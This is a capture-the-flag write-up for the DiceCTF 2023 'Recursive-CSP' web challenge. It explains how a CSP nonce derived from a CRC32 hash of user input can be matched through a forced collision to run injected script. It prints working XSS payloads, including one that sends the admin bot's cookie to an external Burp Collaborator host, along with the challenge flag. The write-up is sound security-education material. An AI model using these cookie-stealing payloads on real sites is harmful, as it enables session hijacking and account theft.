DiceCTF 2023 - Recursive-CSP [Web]

Description:

the nonce isn't random, so how hard could this be?
(the flag is in the admin bot's cookie)

We are given two URLs, the vulnerable, and the Admin bot one which will trigger our XSS (pretty obvious given the description).

Vulnerable URL: https://recursive-csp.mc.ax/
Admin Bot: https://adminbot.mc.ax/web-recursive-csp

Visiting the vulnerable URL, we can see the /?source path commented out.

Which contains the following code:

 <?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

As we can see, the name parameter passed to the back-end through GET is echoed on the h1 tag with no prior sanitization, which could become into an XSS vulnerability.

The application also contains a nonce validation using a Cyclic Redundancy Check for data -> CRC32b. Using a nonce is one of the easiest ways to allow the execution of inline scripts in a Content Security Policy (CSP), so if it is guessed, our XSS will be triggered. The nonce is calculated depending only on the user's name input, so a clever idea should be trying to find a hash collision as it is too weak.

Reading the MDN Web Docs:

The nonce global attribute is a content attribute defining a cryptographic nonce ("number used once") which can be used by Content Security Policy to determine whether or not a given fetch will be allowed to proceed for a given element.

The nonce should be only used one time, and they should be so random that no one could guess it!

I found out we can use this tool: https://github.com/bediger4000/crc32-file-collision-generator to prove that, this is in fact CRC32:

In order to pop an alert() we need to generate a proper collision, I will use the tool mentioned above to avoid creating my own. We will have to create a file containing a raw string which will match the nonce sent on the XSS tag.

As the string  "r1p" generates the nonce "3e6c13a2", I will create a XSS payload sending that value:

<script nonce="3e6c13a2">alert(1)</script>

To make this work, we have to add the 86 5f a3 97 bytes at the end of the payload as shown on the image below:

And once URL encoded it should look like this:

%3Cscript%20nonce=%223e6c13a2%22%3Ealert(1)%3C/script%3E%86%5f%a3%97

Now, we can see the XSS working on our browser as the alert() function was raised.

The challenge says "the flag is in the admin bot's cookie". Having an XSS and a menu to trigger it through the bot, we can easily force it to send the cookie with the following payload. Once again, we have to find a collision for our new script. I will be using Burp Suite's Professional Collaborator as a hook.

<script nonce="3e6c13a2">document.location="https://[redacted].oastify.com?"+document.cookie</script>

Once again, we have to add the 4 bytes: 5a 99 9a b2 at the very end, and once URL encoding the payload, it should look like this:

%3Cscript%20nonce%3D%223e6c13a2%22%3Edocument.location%3D%22https%3A%2F%2F[redacted].oastify.com%3F%22%2Bdocument.cookie%3C%2Fscript%3E%5a%99%9a%b2

If sent to the platform, it should redirect us to the Burp Suite's Collaborator Client.

So the final payload is:

https://recursive-csp.mc.ax/?name=%3Cscript%20nonce%3D%223e6c13a2%22%3Edocument.location%3D%22https%3A%2F%2F[redacted].oastify.com%3F%22%2Bdocument.cookie%3C%2Fscript%3E%5a%99%9a%b2

And is now ready to be sent to the bot:

And now we will receive a DNS and a HTTP request containing the flag: dice{h0pe_that_d1dnt_take_too_l0ng}